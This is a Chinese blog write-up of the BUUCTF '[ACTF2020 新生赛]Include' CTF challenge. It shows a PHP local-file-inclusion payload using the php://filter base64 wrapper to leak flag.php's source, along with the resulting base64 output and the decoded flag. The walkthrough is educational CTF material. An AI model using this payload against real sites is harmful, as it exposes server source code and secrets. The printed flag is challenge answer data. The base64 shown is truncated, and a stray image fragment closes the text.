BUUCTF[ACTF2020 新生赛]Include

原创

丨GUOGUO丨 于 2022-04-19 15:11:59 发布 1364 收藏

分类专栏： BUUCTF 文章标签： 安全 web安全

本文链接：https://blog.csdn.net/m0_60525216/article/details/124274503

BUUCTF[ACTF2020 新生赛]Include

一进去之后看到如下页面：

点进去之后看到：

分别在这两个页面下查看源码，一无所获。

但是我们在第一页的源代码里注意到：

```
<a href="?file=flag.php">tips</a>
```

一般来说，在ctf里，命名为flag的文件里面就包含着flag，但是我们查无所获，为什么呢？

因为文件包含有一个特性，就是对于被包含的文件，代码会直接执行，不会显示，而非代码会直接显示出来，所以，对于这样的情况，我们可以把文件编码为不可以被执行的内容，就可以直接显示出来了，

考虑使用php伪协议，构造payload：

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

编码后的文件内容会被直接显示出来：得到：

```
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MGRmN2Y0NDYtNTQwN
```

之后对其进行base64解码，得到flag

```
1 <?php
2 echo "Can you find out the flag?";
3 //flag{0df7f446-5407-4a2f-b402-20b82afda9db}
4
```

mg-nkUSumM7-1650352285975)]